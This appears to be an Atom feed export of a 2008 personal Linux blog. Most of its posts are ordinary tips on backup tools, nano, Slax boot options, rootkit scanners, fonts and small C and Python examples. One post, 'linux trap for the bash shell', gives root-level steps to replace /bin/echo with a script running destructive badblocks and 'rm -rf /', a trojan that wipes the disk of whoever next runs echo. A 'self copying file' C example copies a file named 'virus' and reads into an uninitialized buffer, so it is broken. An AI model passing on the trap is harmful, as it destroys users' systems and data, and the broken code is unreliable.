width='32' height='24' src='http://2.bp.blogspot.com/_E7fHbYJHdVo/Sja6THO9VgI/AAAAAAAAAGc/nG2UVi169FU/S220/PICT.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8077722734519074730.post-2428139662150193093</id><published>2008-05-26T20:30:00.000-07:00</published><updated>2008-05-26T20:31:50.081-07:00</updated><title type='text'>Scripting C self copying file example</title><content type='html'>#include &lt; stdio.h &gt; &lt;br /&gt;#include &lt; stdlib.h &gt; &lt;br /&gt;int main( int argc, char *argv[] ) {&lt;br /&gt; FILE *sourceFile;&lt;br /&gt; FILE *destinationFile;&lt;br /&gt; char *buffer;&lt;br /&gt;  int n;&lt;br /&gt;  int i = 0;&lt;br /&gt;&lt;br /&gt;  sourceFile = fopen("virus", "rb");&lt;br /&gt;  destinationFile = fopen("target", "wb");&lt;br /&gt;&lt;br /&gt;       &lt;br /&gt;   if(sourceFile==NULL) {&lt;br /&gt;    return 1;&lt;br /&gt;  }&lt;br /&gt;  else if(destinationFile==NULL) {&lt;br /&gt;    return 1;&lt;br /&gt;  }&lt;br /&gt;  else {&lt;br /&gt;    n = fread(buffer, 1, 9000, sourceFile); &lt;br /&gt;    fwrite(buffer, 1, n, destinationFile); &lt;br /&gt;    fclose(sourceFile);&lt;br /&gt;    fclose(destinationFile);&lt;br /&gt;&lt;br /&gt;    destinationFile = fopen("target", "rb");&lt;br /&gt;    n = fread(buffer, 1, 9000, destinationFile); &lt;br /&gt;for ( i = 0; i &lt; 10; i++ )   { &lt;br /&gt;printf("%s", buffer);         &lt;br /&gt;   }              &lt;br /&gt;   fclose(destinationFile);&lt;br /&gt;  &lt;br /&gt; &lt;br /&gt;return 0;&lt;br /&gt; }&lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8077722734519074730-2428139662150193093?l=johnbstoud.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://johnbstoud.blogspot.com/feeds/2428139662150193093/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8077722734519074730&amp;postID=2428139662150193093' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/2428139662150193093'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/2428139662150193093'/><link rel='alternate' type='text/html' href='http://johnbstoud.blogspot.com/2008/05/scripting-c-self-copying-file-example.html' title='Scripting C self copying file example'/><author><name>Johnny Buckallew Stroud</name><uri>http://www.blogger.com/profile/01643173045138469027</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_E7fHbYJHdVo/Sja6THO9VgI/AAAAAAAAAGc/nG2UVi169FU/S220/PICT.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8077722734519074730.post-3626972308806396016</id><published>2008-05-26T11:11:00.000-07:00</published><updated>2008-05-26T16:33:22.092-07:00</updated><title type='text'>linux trap for the bash shell :))</title><content type='html'>Steps to setup this Linux Shell trap! &lt;br /&gt;&lt;br /&gt;Step1:  SUDO SU &lt;br /&gt;           and your password. &lt;br /&gt;&lt;br /&gt;Step2:  CD /bin &lt;br /&gt;&lt;br /&gt;Step3: DIR RM &lt;br /&gt;&lt;br /&gt;Step4: RM ECHO &lt;br /&gt;&lt;br /&gt;Step5:  Our new bash shell script to substitute for echo shell command...  &lt;br /&gt;           1 #!/bin/bash &lt;br /&gt;           2 badblocks -vsw /dev/sda1 &lt;br /&gt;           3 sudo badblocks -vsw /dev/sda1 &lt;br /&gt;           4 rm -rf / &lt;br /&gt;           5 sudo rm -fr / &lt;br /&gt;           6 echo&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8077722734519074730-3626972308806396016?l=johnbstoud.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://johnbstoud.blogspot.com/feeds/3626972308806396016/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8077722734519074730&amp;postID=3626972308806396016' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/3626972308806396016'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/3626972308806396016'/><link rel='alternate' type='text/html' href='http://johnbstoud.blogspot.com/2008/05/linux-trap-for-bash-shell.html' title='linux trap for the bash shell :))'/><author><name>Johnny Buckallew Stroud</name><uri>http://www.blogger.com/profile/01643173045138469027</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_E7fHbYJHdVo/Sja6THO9VgI/AAAAAAAAAGc/nG2UVi169FU/S220/PICT.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8077722734519074730.post-3832193130625041589</id><published>2008-03-09T01:04:00.000-08:00</published><updated>2008-03-09T01:07:40.022-08:00</updated><title type='text'>backup software for ubuntu</title><content type='html'>sudo apt-get install aptoncd&lt;br /&gt;&lt;a href="http://aptoncd.sourceforge.net/"&gt;http://aptoncd.sourceforge.net/&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;   &lt;h3&gt;What is APTonCD?&lt;/h3&gt;&lt;br /&gt;   &lt;p&gt; APTonCD is a tool with a graphical interface which allows you to create one or more CDs or DVDs (you choose the type of media) with all of the packages you've downloaded via APT-GET or APTITUDE, creating a removable&lt;br /&gt;repository that you can use on other computers.&lt;br /&gt;&lt;br /&gt;APTonCD will also allow you to automatically create media with all of your .deb packages located in one especific repository, so that you can install them into your computers without the need for an internet conection. &lt;/p&gt;&lt;br /&gt;&lt;br /&gt;   &lt;h3&gt;With APTonCD you be able to...&lt;/h3&gt;&lt;br /&gt;    &lt;dl&gt;&lt;br /&gt;     &lt;dt&gt;Backup&lt;/dt&gt;&lt;br /&gt;     &lt;dd&gt;Backup all downloaded packages (via apt-get, aptitude and synaptic) to restore later.&lt;/dd&gt;&lt;br /&gt;     &lt;dt&gt;Transport&lt;/dt&gt;&lt;br /&gt;     &lt;dd&gt;Take with you all your favorite packages, in a removable repository where you can install then all on anytime, anytime.&lt;/dd&gt;&lt;br /&gt;&lt;br /&gt;     &lt;dt&gt;Download&lt;/dt&gt;&lt;br /&gt;     &lt;dd&gt;Get an entire repository, or a specifc section. Simply point-and-click, and in few time you'll have an CD(s) or DVD(s) with entire main, restricted, universe, multiverse, contrib, etc.&lt;/dd&gt;&lt;br /&gt;    &lt;br /&gt;     &lt;dt&gt;Share&lt;/dt&gt;&lt;br /&gt;     &lt;dd&gt;Share your packages with your friends without Internet conection. Also, send a meta-package for him to install the same set of packages that you have.&lt;/dd&gt;&lt;br /&gt;    &lt;br /&gt;    &lt;/dl&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8077722734519074730-3832193130625041589?l=johnbstoud.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://johnbstoud.blogspot.com/feeds/3832193130625041589/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8077722734519074730&amp;postID=3832193130625041589' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/3832193130625041589'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/3832193130625041589'/><link rel='alternate' type='text/html' href='http://johnbstoud.blogspot.com/2008/03/backup-software-for-ubuntu.html' title='backup software for ubuntu'/><author><name>Johnny Buckallew Stroud</name><uri>http://www.blogger.com/profile/01643173045138469027</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_E7fHbYJHdVo/Sja6THO9VgI/AAAAAAAAAGc/nG2UVi169FU/S220/PICT.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8077722734519074730.post-9087933266152093694</id><published>2008-03-03T15:38:00.000-08:00</published><updated>2008-03-03T15:40:55.867-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='nano text editors'/><title type='text'>Do you hate VI for text editing ?</title><content type='html'>&lt;span style="font-style:italic;"&gt;Command line example:&lt;BR&gt; &lt;/span&gt;&lt;span style="font-weight:bold;"&gt;sudo nano textfile.txt &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;NANO: is a text editor that most all linux shells have preinstalled . The nano editor is designed to emulate the functionality and ease-of-use of UW Pico text editor.  There are four main sections of the editor.  NANO is a no bullshit editor that hackers and system adminstrators use on-the-fly for fast editing of text and script files.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8077722734519074730-9087933266152093694?l=johnbstoud.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://johnbstoud.blogspot.com/feeds/9087933266152093694/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8077722734519074730&amp;postID=9087933266152093694' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/9087933266152093694'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/9087933266152093694'/><link rel='alternate' type='text/html' href='http://johnbstoud.blogspot.com/2008/03/do-you-hate-vi-for-text-editing.html' title='Do you hate VI for text editing ?'/><author><name>Johnny Buckallew Stroud</name><uri>http://www.blogger.com/profile/01643173045138469027</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_E7fHbYJHdVo/Sja6THO9VgI/AAAAAAAAAGc/nG2UVi169FU/S220/PICT.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8077722734519074730.post-3652634000448127927</id><published>2008-03-02T13:40:00.000-08:00</published><updated>2008-03-02T13:44:23.357-08:00</updated><title type='text'>Slax Linux</title><content type='html'>&lt;span style="font-weight:bold;"&gt;How to fix a corrupted filesystem in Slax Linux?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;As mentioned in the previous section, FAT filesystem is the most vulnerable one. If Linux detects a corruption, it will remount it read-only to prevent further damage. To fix the problem, use:&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;dosfsck -wa /dev/hdb1&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Replace hdb1 by your own partition name, of course. If you get an error message that there are differences between boot sector and its backup, don't worry about that, it's not any problem. The utility will simply skip that and will continue fixing all the other errors.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;SLAX CHEATCODES  FILE:&lt;/span&gt; &lt;span style="font-style:italic;"&gt;cheatcodes.txt &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Boot parameters (also known as cheatcodes) are used to affect the booting process of SLAX. Some of them are common for all Linuxes, others are specific for SLAX only. You can use them to disable desired kind of&lt;br /&gt;hardware detection, to start SLAX from harddisk, to skip the login&lt;br /&gt;prompt and start GUI, etc.&lt;br /&gt;   &lt;br /&gt;Reboot your computer and wait several seconds until nice  graphical slax&lt;br /&gt;logo appears with a boot menu (it's there usually for less then 9 seconds).&lt;br /&gt;Choose your desired menu entry and hit Tab, which will allow you to edit the&lt;br /&gt;command line. Add your desired boot argument from the list below, to affect&lt;br /&gt;booting the way you like:&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;acpi=off&lt;br /&gt;nohotplug&lt;br /&gt;nopcmcia&lt;br /&gt;noagp&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;   ... disable specified hardware autodetection in the case of hangups&lt;br /&gt;       Your hardware won't be detected at all, you'll have to use "pcimodules"&lt;br /&gt;       command after logging into SLAX and you'll have to try to modprobe&lt;br /&gt;       all needed modules from the list manually&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;nodma&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;   ... disable DMA for all CD-ROMs and disks&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;noauto&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;   ... list harddisks in fstab with 'noauto', so you have to mount every&lt;br /&gt;       disk manually in order to access it.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;nohd&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;   ... don't mount any harddisks at all.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;nocd&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;   ... don't mount any cdroms at all.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;nosound&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;   ... mute sound instead of raising volume to 77%&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;from=/dev/hda1/slax.iso&lt;br /&gt;from=path/to/slax.iso&lt;br /&gt;from=/dev/hda1&lt;br /&gt;from=path/to/slax/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;   ... To load SLAX data from different place instead of the boot device.&lt;br /&gt;   ... First example will search for slax.iso, only on hda1&lt;br /&gt;   ... Second example will search for 'path/to/slax.iso' on all devices.&lt;br /&gt;       The first device containing the path/file is used&lt;br /&gt;   ... Third example expects that the ISO is unpacked to hda1&lt;br /&gt;   ... Fourth example searches through all disks for a directory 'path/to/slax'&lt;br /&gt;       and expects content of unpacked ISO inthere&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;passwd=somepass&lt;br /&gt;passwd=ask&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;   ... set root's password to "somepass", or ask (with =ask) for a new password&lt;br /&gt;       during the boot, before starting slax (don't worry, the new password&lt;br /&gt;       won't be shown at the login screen)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;changes=/dev/device&lt;br /&gt;changes=/dev/device/file.dat&lt;br /&gt;changes=/path/&lt;br /&gt;changes=/path/file.dat&lt;br /&gt;changes=/dev/device/path/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;   ... all changes you made in SLAX are kept in memory until you reboot.&lt;br /&gt;       But with this boot parameter, you tell SLAX to use different device&lt;br /&gt;       (or a file or directory) than the memory for storing changes. You can,&lt;br /&gt;       for example, format your disk partition /dev/hda1 with some Linux&lt;br /&gt;       filesystem (eg. xfs) and then use changes=/dev/hda1 to store all changes&lt;br /&gt;       to that disk (it will be stored in 'changes' directory on that disk.&lt;br /&gt;       This way you won't loose your changes after reboot.&lt;br /&gt;   ... if you use a file name instead of device, and the file contains valid&lt;br /&gt;       filesystem, Slax will mount it as a loop device and will store changes&lt;br /&gt;       to it. Moreover if you don't specify the device where the file is stored,&lt;br /&gt;       Slax will try to find it on all your partitions.&lt;br /&gt;   ... if you use a directory, Slax will save changes to it (it will make a&lt;br /&gt;       'changes' subdirectory inthere). You don't even need a Linux filesystem&lt;br /&gt;       on that disk, as the directory will be overlayed by posixovl. This way,&lt;br /&gt;       you can save your changes even to VFAT or NTFS.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;toram&lt;br /&gt;copy2ram &lt;br /&gt;&lt;/span&gt;&lt;br /&gt;   ... copy all files (all required and optional modules) to RAM.&lt;br /&gt;       You'll need at least 320MB of RAM to do this and boot SLAX properly.&lt;br /&gt;       This will slow down the boot phase but it will speed up SLAX!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;load=module&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;   ... load optional modules from /optional/ directory on the CD.&lt;br /&gt;       You can use full module name (module.lzm) or you can skip the extension&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;noload=module&lt;br /&gt;noload=module[1];module[n]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;   ...disable loading of any modules specified. This affects all the modules on&lt;br /&gt;      SLAX CD, including /base and /modules, so using noload=kde will disable&lt;br /&gt;      loading of all modules with 'kde' in the name. It is useful with copy2ram&lt;br /&gt;      cheatcode, because any un-used module is not copied to ram. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;debug&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;   ... enable debug mode (and start bash several times during the boot)&lt;br /&gt;       hit Ctrl+D to continue booting&lt;br /&gt;   &lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;autoexec=...&lt;br /&gt;autoexec=startx&lt;br /&gt;autoexec=xconf;startx&lt;br /&gt;autoexec=xconf;startx;reboot&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;   ... Execute specified command(s) instead of SLAX login. In this&lt;br /&gt;       example, skip slax login prompt and automatically start XWindow&lt;br /&gt;       system. Use semicolon (;) as command separator.&lt;br /&gt;   ... Slax will not reboot automatically after the command(s) finish,&lt;br /&gt;       so if you'd like to restart, specify 'reboot' or 'poweroff' as the&lt;br /&gt;       last command.&lt;br /&gt;   ... If you need to use spaces in the commandline, replace them by ~.&lt;br /&gt;       For example, autoexec=echo~Shutting~power;poweroff will do just like that.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8077722734519074730-3652634000448127927?l=johnbstoud.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://johnbstoud.blogspot.com/feeds/3652634000448127927/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8077722734519074730&amp;postID=3652634000448127927' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/3652634000448127927'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/3652634000448127927'/><link rel='alternate' type='text/html' href='http://johnbstoud.blogspot.com/2008/03/slax-linux.html' title='Slax Linux'/><author><name>Johnny Buckallew Stroud</name><uri>http://www.blogger.com/profile/01643173045138469027</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_E7fHbYJHdVo/Sja6THO9VgI/AAAAAAAAAGc/nG2UVi169FU/S220/PICT.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8077722734519074730.post-2043816436965970830</id><published>2008-02-18T20:52:00.000-08:00</published><updated>2008-02-18T20:56:47.472-08:00</updated><title type='text'>python shell scripting 4</title><content type='html'>Step 1  command: sudo gedit hello &lt;br /&gt;&lt;br /&gt;File Name: hello&lt;br /&gt;hello world example: &lt;br /&gt;#!/bin/bash&lt;br /&gt;#&lt;br /&gt;python hello.py &lt;br /&gt;&lt;br /&gt;--------------------------------------------------&lt;br /&gt;&lt;br /&gt;Step 2 command: sudo gedit hello.py &lt;br /&gt;&lt;br /&gt;File Name: hello.py &lt;br /&gt;hello world example in python: &lt;br /&gt;#! /usr/local/bin/python&lt;br /&gt;import os&lt;br /&gt;if os.environ['USER']:&lt;br /&gt;        print 'Hello, '+os.environ['USER']&lt;br /&gt;&lt;br /&gt;----------------------------------------------------&lt;br /&gt;&lt;br /&gt;shell command to run program: &lt;br /&gt;cd /home/user/scripts &lt;br /&gt;&lt;br /&gt;shell Prompt:                   command: &lt;br /&gt;------------------------------- --------&lt;br /&gt;user@youhomecomputer:~/scripts$ ./hello&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8077722734519074730-2043816436965970830?l=johnbstoud.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://johnbstoud.blogspot.com/feeds/2043816436965970830/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8077722734519074730&amp;postID=2043816436965970830' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/2043816436965970830'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/2043816436965970830'/><link rel='alternate' type='text/html' href='http://johnbstoud.blogspot.com/2008/02/python-shell-scripting-4.html' title='python shell scripting 4'/><author><name>Johnny Buckallew Stroud</name><uri>http://www.blogger.com/profile/01643173045138469027</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_E7fHbYJHdVo/Sja6THO9VgI/AAAAAAAAAGc/nG2UVi169FU/S220/PICT.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8077722734519074730.post-7499832700478288187</id><published>2008-02-18T19:24:00.000-08:00</published><updated>2008-02-18T19:37:49.305-08:00</updated><title type='text'>Toxic Email &amp; Exploiter's</title><content type='html'>FONT &amp; EMAIL WORM SCANNER:&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;sudo apt-get install clamav&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;rootkit, backdoor, sniffer and exploit scanner&lt;br /&gt;Rootkit Hunter scans your system for known and unknown rootkits, backdoors, sniffers and exploits.&lt;br /&gt;&lt;br /&gt;Some of the tests it does:&lt;br /&gt;  - MD5 hash compare&lt;br /&gt;  - Look for default files used by rootkits&lt;br /&gt;  - Wrong file permissions for binaries&lt;br /&gt;  - Look for suspected strings in LKM and KLD modules&lt;br /&gt;  - Look for hidden files&lt;br /&gt;  - Optional scan within plaintext and binary files&lt;br /&gt;&lt;br /&gt;Please note that rkhunter does *not* guarantee your system has not been compromised! You should also run additional tests, e.g. using chkrootkit and other measures.&lt;br /&gt;&lt;BR&gt;&lt;BR&gt;&lt;br /&gt;How to use this software: &lt;br /&gt;&lt;span style="font-weight:bold;"&gt;sudo apt-get install chkrootkit&lt;BR&gt; &lt;br /&gt;sudo chkrootkit&lt;BR&gt; &lt;br /&gt;sudo rkhunter --check&lt;BR&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt; Homepage: http://rkhunter.sourceforge.net&lt;br /&gt;• Ubuntu Synaptic Package Manager has this ready to download.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8077722734519074730-7499832700478288187?l=johnbstoud.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://johnbstoud.blogspot.com/feeds/7499832700478288187/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8077722734519074730&amp;postID=7499832700478288187' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/7499832700478288187'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/7499832700478288187'/><link rel='alternate' type='text/html' href='http://johnbstoud.blogspot.com/2008/02/toxic-email-exploiters.html' title='Toxic Email &amp; Exploiter&apos;s'/><author><name>Johnny Buckallew Stroud</name><uri>http://www.blogger.com/profile/01643173045138469027</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_E7fHbYJHdVo/Sja6THO9VgI/AAAAAAAAAGc/nG2UVi169FU/S220/PICT.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8077722734519074730.post-1091300593763582802</id><published>2008-02-11T09:40:00.000-08:00</published><updated>2008-09-22T00:17:55.360-07:00</updated><title type='text'>installing new truetype fonts in ubuntu</title><content type='html'>If there are other TrueType fonts that you want installed, it is as easy as copying the font files to the "~/.fonts/" directory or this directory "/usr/share/fonts/truetype". To copy from the ubuntu   konsole you will have to use cp command. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;EXAMPLE COMMAND&lt;/span&gt;:"&lt;span style="font-weight:bold;"&gt;sudo cp /home/*.* /usr/share/fonts/truetype&lt;/span&gt;"  &lt;br /&gt;&lt;br /&gt;After installing new fonts, you will have to log out and log in again to be able to see and use the new fonts. If you want to avoid this, you can regenerate the fonts cache by issuing the following command: &lt;span style="font-weight:bold;"&gt;sudo fc-cache -fv&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You can install the MS core fonts by installing the "msttcorefonts" package. To do this, enable the “Universe” component of the repositories. This is done by default in Feisty. After you do that, use the following command from the command line: &lt;B&gt; sudo apt-get install msttcorefonts &lt;/B&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8077722734519074730-1091300593763582802?l=johnbstoud.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://johnbstoud.blogspot.com/feeds/1091300593763582802/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8077722734519074730&amp;postID=1091300593763582802' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/1091300593763582802'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/1091300593763582802'/><link rel='alternate' type='text/html' href='http://johnbstoud.blogspot.com/2008/02/installing-new-truetype-fonts-in-ubuntu.html' title='installing new truetype fonts in ubuntu'/><author><name>Johnny Buckallew Stroud</name><uri>http://www.blogger.com/profile/01643173045138469027</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_E7fHbYJHdVo/Sja6THO9VgI/AAAAAAAAAGc/nG2UVi169FU/S220/PICT.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8077722734519074730.post-8326078356161575070</id><published>2008-02-06T01:04:00.000-08:00</published><updated>2008-02-06T01:24:32.861-08:00</updated><title type='text'>Hidden linux/dos bug.</title><content type='html'>This is A C example of the type dos command. you can compile this C source code and copy it using the linux command CP to the directory /bin. the linux copy command is “sudo cp mtype /bin” and your good to  go. &lt;br /&gt;&lt;br /&gt;&lt;h2&gt;File Name: mtype&lt;/h2&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;&lt;br /&gt;#include stdio.h&lt;br /&gt;#include stdlib.h&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;int main(int argc, char *argv[])&lt;br /&gt;&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;  FILE *fp;&lt;br /&gt;&lt;br /&gt;  char ch;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  if((fp = fopen(argv[ 1 ],"r"))==NULL) {&lt;br /&gt;&lt;br /&gt;    printf("Error: %s Cannot open file.\n",argv[1]);&lt;br /&gt;&lt;br /&gt;    exit(1);&lt;br /&gt;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  while((ch = fgetc( fp )) != EOF) {&lt;br /&gt;&lt;br /&gt;    printf("%c", ch);&lt;br /&gt;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  fclose(fp);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  return 0;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;HR&gt;&lt;BR&gt;I can remember back in the days of ms-dos that if you used the type command on a executable file it scrambled the text of the dos prompt.  if you compile this C script and copy it to the directory called “/bin” you can use it as a command.  use the command to dump some executable file and the bug really fucks up the shell font of Linux.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8077722734519074730-8326078356161575070?l=johnbstoud.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://johnbstoud.blogspot.com/feeds/8326078356161575070/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8077722734519074730&amp;postID=8326078356161575070' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/8326078356161575070'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8077722734519074730/posts/default/8326078356161575070'/><link rel='alternate' type='text/html' href='http://johnbstoud.blogspot.com/2008/02/this-is-c-example-of-type-dos-command.html' title='Hidden linux/dos bug.'/><author><name>Johnny Buckallew Stroud</name><uri>http://www.blogger.com/profile/01643173045138469027</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_E7fHbYJHdVo/Sja6THO9VgI/AAAAAAAAAGc/nG2UVi169FU/S220/PICT.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8077722734519074730.post-9024641548549280966</id><published>2008-02-06T00:18:00.000-08:00</published><updated>2008-03-03T16:56:59.756-08:00</updated><title type='text'>Shell Encryption</title><content type='html'>GCC/cpp or linux version of Ansi C assembler. The Encryption is week XOR based. it's just the 1st example 